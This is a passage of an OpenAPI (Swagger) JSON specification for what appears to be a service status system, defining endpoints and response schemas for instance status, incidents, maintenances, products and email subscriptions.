"type": "string" | |
} | |
}, | |
"instanceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"MaintenanceImpacts": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"startTime": { | |
"type": "string" | |
}, | |
"endTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"systemAvailability": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"GeneralMessages": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"subject": { | |
"type": "string" | |
}, | |
"body": { | |
"type": "string" | |
}, | |
"startDate": { | |
"type": "string" | |
}, | |
"endDate": { | |
"type": [ | |
"string", | |
"null" | |
] | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/instances/status/preview": { | |
"x-swagger-router-controller": "instance", | |
"x-sequelize-model": "Instance", | |
"get": { | |
"tags": [ | |
"instances" | |
], | |
"description": "Return all instances and associated incidents, maintenances, and general messages.\nFor each instance returns a state enum indicating the most\nsevere ongoing event, and if it effects a core service.\n\nStatus Enums\n* OK\n* MAJOR_INCIDENT_CORE\n* MINOR_INCIDENT_CORE\n* MAINTENANCE_CORE\n* INFORMATIONAL_CORE\n* MAJOR_INCIDENT_NONCORE\n* MINOR_INCIDENT_NONCORE\n* MAINTENANCE_NONCORE\n* INFORMATIONAL_NONCORE\n", | |
"operationId": "getInstanceStatusPreview", | |
"parameters": [ | |
{ | |
"name": "productId", | |
"in": "query", | |
"type": "integer", | |
"description": "Filter by parent product", | |
"required": false | |
}, | |
{ | |
"name": "childProducts", | |
"in": "query", | |
"type": "boolean", | |
"description": "Include nested products. productId must be set.", | |
"default": false, | |
"required": false | |
}, | |
{ | |
"name": "locale", | |
"in": "query", | |
"type": "string", | |
"required": false, | |
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"key" | |
], | |
"properties": { | |
"key": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"location": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"environment": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"releaseVersion": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"releaseNumber": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"status": { | |
"type": "string", | |
"description": "A top level status of the instance. If multiple events are ongoing, then provides the most severe.", | |
"maxLength": 255, | |
"enum": [ | |
"OK", | |
"MAJOR_INCIDENT_CORE", | |
"MINOR_INCIDENT_CORE", | |
"MAINTENANCE_CORE", | |
"INFORMATIONAL_CORE", | |
"MAJOR_INCIDENT_NONCORE", | |
"MINOR_INCIDENT_NONCORE", | |
"MAINTENANCE_NONCORE", | |
"INFORMATIONAL_NONCORE" | |
] | |
}, | |
"Incidents": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"id" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"message": { | |
"type": [ | |
"object", | |
"null" | |
] | |
}, | |
"externalId": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"affectsAll": { | |
"type": "boolean" | |
}, | |
"isCore": { | |
"type": "boolean" | |
}, | |
"additionalInformation": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"instanceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"IncidentImpacts": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"startTime", | |
"type" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"startTime": { | |
"type": "string" | |
}, | |
"endTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceIssue": { | |
"type": "string" | |
}, | |
"endUserImpact": { | |
"type": "string" | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"IncidentEvents": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"type" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"message": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"Maintenances": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"message": { | |
"type": [ | |
"object", | |
"null" | |
] | |
}, | |
"externalId": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"name": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"affectsAll": { | |
"type": "boolean" | |
}, | |
"isCore": { | |
"type": "boolean" | |
}, | |
"plannedStartTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"plannedEndTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"additionalInformation": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"instanceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"MaintenanceImpacts": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"startTime": { | |
"type": "string" | |
}, | |
"endTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"systemAvailability": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"GeneralMessages": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"subject": { | |
"type": "string" | |
}, | |
"body": { | |
"type": "string" | |
}, | |
"startDate": { | |
"type": "string" | |
}, | |
"endDate": { | |
"type": [ | |
"string", | |
"null" | |
] | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/instances/{key}/status/preview": { | |
"x-swagger-router-controller": "instance", | |
"x-sequelize-model": "Instance", | |
"get": { | |
"tags": [ | |
"instances" | |
], | |
"description": "Rerurn an instance with associated incidents, maintenances, and general messages.\nFor a given instance returns a state enum indicating the most\nsevere ongoing event, and if it effects a core service.\n\nStatus Enums\n* OK\n* MAJOR_INCIDENT_CORE\n* MINOR_INCIDENT_CORE\n* MAINTENANCE_CORE\n* INFORMATIONAL_CORE\n* MAJOR_INCIDENT_NONCORE\n* MINOR_INCIDENT_NONCORE\n* MAINTENANCE_NONCORE\n* INFORMATIONAL_NONCORE\n", | |
"operationId": "getInstanceStatusPreviewByKey", | |
"parameters": [ | |
{ | |
"name": "key", | |
"in": "path", | |
"description": "Instance Key", | |
"required": true, | |
"type": "string" | |
}, | |
{ | |
"name": "productId", | |
"in": "query", | |
"type": "integer", | |
"description": "Filter by parent product", | |
"required": false | |
}, | |
{ | |
"name": "childProducts", | |
"in": "query", | |
"type": "boolean", | |
"description": "Include nested products. productId must be set.", | |
"default": false, | |
"required": false | |
}, | |
{ | |
"name": "locale", | |
"in": "query", | |
"type": "string", | |
"required": false, | |
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"key" | |
], | |
"properties": { | |
"key": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"location": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"environment": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"releaseVersion": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"releaseNumber": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"status": { | |
"type": "string", | |
"description": "A top level status of the instance. If multiple events are ongoing, then provides the most severe.", | |
"maxLength": 255, | |
"enum": [ | |
"OK", | |
"MAJOR_INCIDENT_CORE", | |
"MINOR_INCIDENT_CORE", | |
"MAINTENANCE_CORE", | |
"INFORMATIONAL_CORE", | |
"MAJOR_INCIDENT_NONCORE", | |
"MINOR_INCIDENT_NONCORE", | |
"MAINTENANCE_NONCORE", | |
"INFORMATIONAL_NONCORE" | |
] | |
}, | |
"Incidents": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"id" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"message": { | |
"type": [ | |
"object", | |
"null" | |
] | |
}, | |
"externalId": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"affectsAll": { | |
"type": "boolean" | |
}, | |
"isCore": { | |
"type": "boolean" | |
}, | |
"additionalInformation": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"instanceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"IncidentImpacts": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"startTime", | |
"type" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"startTime": { | |
"type": "string" | |
}, | |
"endTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceIssue": { | |
"type": "string" | |
}, | |
"endUserImpact": { | |
"type": "string" | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"IncidentEvents": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"type" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"message": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"Maintenances": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"message": { | |
"type": [ | |
"object", | |
"null" | |
] | |
}, | |
"externalId": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"name": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"affectsAll": { | |
"type": "boolean" | |
}, | |
"isCore": { | |
"type": "boolean" | |
}, | |
"plannedStartTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"plannedEndTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"additionalInformation": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"instanceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"MaintenanceImpacts": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"startTime": { | |
"type": "string" | |
}, | |
"endTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"systemAvailability": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"GeneralMessages": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"subject": { | |
"type": "string" | |
}, | |
"body": { | |
"type": "string" | |
}, | |
"startDate": { | |
"type": "string" | |
}, | |
"endDate": { | |
"type": [ | |
"string", | |
"null" | |
] | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/instances/{key}/status": { | |
"x-swagger-router-controller": "instance", | |
"x-sequelize-model": "Instance", | |
"get": { | |
"tags": [ | |
"instances" | |
], | |
"description": "Return an by instance with associated incidents, maintenances, and general messages.\nReturns a state enum indicating the most\nsevere ongoing event, and if it effects a core service.\n\nStatus Enums:\n* OK\n* MAJOR_INCIDENT_CORE\n* MINOR_INCIDENT_CORE\n* MAINTENANCE_CORE\n* INFORMATIONAL_CORE\n* MAJOR_INCIDENT_NONCORE\n* MINOR_INCIDENT_NONCORE\n* MAINTENANCE_NONCORE\n* INFORMATIONAL_NONCORE\n", | |
"operationId": "getInstanceStatusbyKey", | |
"parameters": [ | |
{ | |
"name": "key", | |
"in": "path", | |
"description": "Instance Key", | |
"required": true, | |
"type": "string" | |
}, | |
{ | |
"name": "productId", | |
"in": "query", | |
"type": "integer", | |
"description": "Filter by parent product", | |
"required": false | |
}, | |
{ | |
"name": "childProducts", | |
"in": "query", | |
"type": "boolean", | |
"description": "Include nested products. productId must be set.", | |
"default": false, | |
"required": false | |
}, | |
{ | |
"name": "locale", | |
"in": "query", | |
"type": "string", | |
"required": false, | |
"description": "Two-letter language code ISO 639-1 code.\nIf objects in response have any associated Localizations, the objects\nwill also return fields with localized text.\nDepending on internal configuration, a default may be set.\n" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"key" | |
], | |
"properties": { | |
"key": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"location": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"environment": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"releaseVersion": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"releaseNumber": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"status": { | |
"type": "string", | |
"description": "A top level status of the instance. If multiple events are ongoing, then provides the most severe.", | |
"maxLength": 255, | |
"enum": [ | |
"OK", | |
"MAJOR_INCIDENT_CORE", | |
"MINOR_INCIDENT_CORE", | |
"MAINTENANCE_CORE", | |
"INFORMATIONAL_CORE", | |
"MAJOR_INCIDENT_NONCORE", | |
"MINOR_INCIDENT_NONCORE", | |
"MAINTENANCE_NONCORE", | |
"INFORMATIONAL_NONCORE" | |
] | |
}, | |
"Incidents": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"id" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"message": { | |
"type": [ | |
"object", | |
"null" | |
] | |
}, | |
"externalId": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"affectsAll": { | |
"type": "boolean" | |
}, | |
"isCore": { | |
"type": "boolean" | |
}, | |
"additionalInformation": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"instanceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"IncidentImpacts": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"startTime", | |
"type" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"startTime": { | |
"type": "string" | |
}, | |
"endTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceIssue": { | |
"type": "string" | |
}, | |
"endUserImpact": { | |
"type": "string" | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"IncidentEvents": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"type" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"message": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"Maintenances": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"message": { | |
"type": [ | |
"object", | |
"null" | |
] | |
}, | |
"externalId": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"name": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"affectsAll": { | |
"type": "boolean" | |
}, | |
"isCore": { | |
"type": "boolean" | |
}, | |
"plannedStartTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"plannedEndTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"additionalInformation": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"instanceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"MaintenanceImpacts": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"startTime": { | |
"type": "string" | |
}, | |
"endTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"systemAvailability": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"GeneralMessages": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"subject": { | |
"type": "string" | |
}, | |
"body": { | |
"type": "string" | |
}, | |
"startDate": { | |
"type": "string" | |
}, | |
"endDate": { | |
"type": [ | |
"string", | |
"null" | |
] | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/instanceAliases/{key}/status": { | |
"x-swagger-router-controller": "instanceAlias", | |
"x-sequelize-model": "InstanceAlias", | |
"get": { | |
"tags": [ | |
"instances" | |
], | |
"description": "Return an by instance with associated incidents, maintenances, and general messages.\nReturns a state enum indicating the most\nsevere ongoing event, and if it effects a core service.\n\nStatus Enums:\n* OK\n* MAJOR_INCIDENT_CORE\n* MINOR_INCIDENT_CORE\n* MAINTENANCE_CORE\n* INFORMATIONAL_CORE\n* MAJOR_INCIDENT_NONCORE\n* MINOR_INCIDENT_NONCORE\n* MAINTENANCE_NONCORE\n* INFORMATIONAL_NONCORE\n", | |
"operationId": "getInstanceStatusbyAlias", | |
"parameters": [ | |
{ | |
"name": "key", | |
"in": "path", | |
"description": "Instance Key", | |
"required": true, | |
"type": "string" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"key" | |
], | |
"properties": { | |
"key": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"location": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"environment": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"releaseVersion": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"releaseNumber": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"status": { | |
"type": "string", | |
"description": "A top level status of the instance. If multiple events are ongoing, then provides the most severe.", | |
"maxLength": 255, | |
"enum": [ | |
"OK", | |
"MAJOR_INCIDENT_CORE", | |
"MINOR_INCIDENT_CORE", | |
"MAINTENANCE_CORE", | |
"INFORMATIONAL_CORE", | |
"MAJOR_INCIDENT_NONCORE", | |
"MINOR_INCIDENT_NONCORE", | |
"MAINTENANCE_NONCORE", | |
"INFORMATIONAL_NONCORE" | |
] | |
}, | |
"Incidents": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"id" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"message": { | |
"type": [ | |
"object", | |
"null" | |
] | |
}, | |
"externalId": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"affectsAll": { | |
"type": "boolean" | |
}, | |
"isCore": { | |
"type": "boolean" | |
}, | |
"additionalInformation": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"instanceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"IncidentImpacts": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"startTime", | |
"type" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"startTime": { | |
"type": "string" | |
}, | |
"endTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceIssue": { | |
"type": "string" | |
}, | |
"endUserImpact": { | |
"type": "string" | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"IncidentEvents": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"required": [ | |
"type" | |
], | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"message": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"Maintenances": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"message": { | |
"type": [ | |
"object", | |
"null" | |
] | |
}, | |
"externalId": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"name": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"affectsAll": { | |
"type": "boolean" | |
}, | |
"isCore": { | |
"type": "boolean" | |
}, | |
"plannedStartTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"plannedEndTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"additionalInformation": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"serviceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"instanceKeys": { | |
"type": "array", | |
"items": { | |
"type": "string" | |
} | |
}, | |
"MaintenanceImpacts": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"startTime": { | |
"type": "string" | |
}, | |
"endTime": { | |
"type": [ | |
"string", | |
"null" | |
] | |
}, | |
"type": { | |
"type": "string" | |
}, | |
"systemAvailability": { | |
"type": "string" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"GeneralMessages": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"subject": { | |
"type": "string" | |
}, | |
"body": { | |
"type": "string" | |
}, | |
"startDate": { | |
"type": "string" | |
}, | |
"endDate": { | |
"type": [ | |
"string", | |
"null" | |
] | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/instanceAliases/{key}": { | |
"x-swagger-router-controller": "instanceAlias", | |
"x-sequelize-model": "InstanceAlias", | |
"get": { | |
"tags": [ | |
"instances" | |
], | |
"description": "Get Instance Alias", | |
"operationId": "getInstanceAliasByKey", | |
"parameters": [ | |
{ | |
"name": "key", | |
"in": "path", | |
"description": "Instance Alias Key", | |
"required": true, | |
"type": "string" | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "object", | |
"properties": { | |
"key": { | |
"type": "string", | |
"maxLength": 255 | |
}, | |
"instanceKey": { | |
"type": "string", | |
"maxLength": 255 | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/products": { | |
"x-swagger-router-controller": "product", | |
"x-sequelize-model": "Product", | |
"get": { | |
"tags": [ | |
"products" | |
], | |
"description": "Return all catergories", | |
"operationId": "getProducts", | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"name": { | |
"type": "string" | |
}, | |
"parentId": { | |
"type": "integer" | |
}, | |
"parentName": { | |
"type": "string" | |
}, | |
"order": { | |
"type": "integer" | |
}, | |
"path": { | |
"type": "string" | |
}, | |
"public": { | |
"type": "boolean", | |
"default": true | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/products/{id}": { | |
"x-swagger-router-controller": "product", | |
"x-sequelize-model": "Product", | |
"get": { | |
"tags": [ | |
"products" | |
], | |
"description": "Returns an product by id.", | |
"operationId": "getProductById", | |
"parameters": [ | |
{ | |
"name": "id", | |
"in": "path", | |
"type": "string", | |
"description": "Product Key", | |
"required": true | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "Success", | |
"schema": { | |
"type": "object", | |
"properties": { | |
"id": { | |
"type": "integer" | |
}, | |
"name": { | |
"type": "string" | |
}, | |
"parentId": { | |
"type": "integer" | |
}, | |
"parentName": { | |
"type": "string" | |
}, | |
"order": { | |
"type": "integer" | |
}, | |
"path": { | |
"type": "string" | |
}, | |
"public": { | |
"type": "boolean", | |
"default": true | |
} | |
} | |
} | |
}, | |
"404": { | |
"description": "Product not found", | |
"schema": { | |
"type": "object", | |
"properties": { | |
"message": { | |
"type": "string" | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/subscribe": { | |
"x-swagger-router-controller": "subscribe", | |
"x-sequelize-model": "Subscriber", | |
"post": { | |
"operationId": "subscribe", | |
"tags": [ | |
"subscribe" | |
], | |
"parameters": [ | |
{ | |
"name": "X-Send-Notification", | |
"in": "header", | |
"description": "Notify subscribers about event.\nAutomatically set using\n", | |
"type": "string", | |
"required": false, | |
"default": "send" | |
}, | |
{ | |
"name": "body", | |
"in": "body", | |
"description": "Subscriber and Subscription Information", | |
"required": true, | |
"schema": { | |
"type": "object", | |
"properties": { | |
"emailAddress": { | |
"type": "string", | |
"description": "Email address of subscriber" | |
}, | |
"locale": { | |
"type": "string", | |
"description": "Locale for alerts", | |
"default": "en" | |
}, | |
"subscriptions": { | |
"type": "object", | |
"properties": { | |
"all": { | |
"type": "boolean" | |
}, | |
"instances": { | |
"type": "object", | |
"additionalProperties": { | |
"type": "object", | |
"properties": { | |
"all": { | |
"type": "boolean" | |
}, | |
"services": { | |
"type": "object", | |
"additionalProperties": { | |
"type": "object", | |
"properties": { | |
"severities": { | |
"type": "object", | |
"properties": { | |
"major": { | |
"type": "boolean" | |
}, | |
"minor": { | |
"type": "boolean" | |
}, | |
"maintenances": { | |
"type": "boolean" | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
], | |
"responses": { | |
"200": { | |
"description": "New subscribers", | |
"schema": { | |
"type": "object", | |
"properties": { | |
"emailAddress": { | |
"type": "string", | |
"description": "Email address of subscriber" | |
}, | |
"locale": { | |
"type": "string", | |
"description": "Locale for alerts" | |
}, | |
"subscription": { | |
"type": "array", | |
"items": { | |
"type": "object", | |
"properties": { | |
"all": { | |
"type": "boolean" | |
}, | |
"instances": { | |
"type": "object", | |
"additionalProperties": { | |
"type": "object", | |
"properties": { | |
"all": { | |
"type": "boolean" | |
}, | |
"services": { | |
"type": "object", | |
"additionalProperties": { | |
"type": "object", | |
"properties": { | |
"severities": { | |
"type": "object", | |
"properties": { | |
"major": { | |
"type": "boolean" | |
}, | |
"minor": { | |
"type": "boolean" | |
}, | |
"maintenances": { | |
"type": "boolean" | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"description": "List of Subscriptions" | |
}, | |
"isActive": { | |
"type": "boolean", | |
"description": "Subscriber Status" | |
}, | |
"createdAt": { | |
"type": "string" | |
}, | |
"updatedAt": { | |
"type": "string" | |
} | |
} | |
} | |
}, | |
"default": { | |
"description": "Unexpected error", | |
"schema": { | |
"type": "object", | |
"properties": { | |
"message": { | |
"type": "string" | |
} | |
} | |
} | |
} | |
} | |
} | |
}, | |
"/subscribers": { | |
"x-swagger-router-controller": "subscriber", | |
"x-sequelize-model": "Subscriber", | |
"get": { | |
"operationId": "getSubscriberWithToken", | |
"tags": [ | |
"subscribers" | |
], | |
"summary": "Retrieve Subscriber", | |
"description": "Returns subscriber and subscription using token\n", | |
"parameters": [ | |
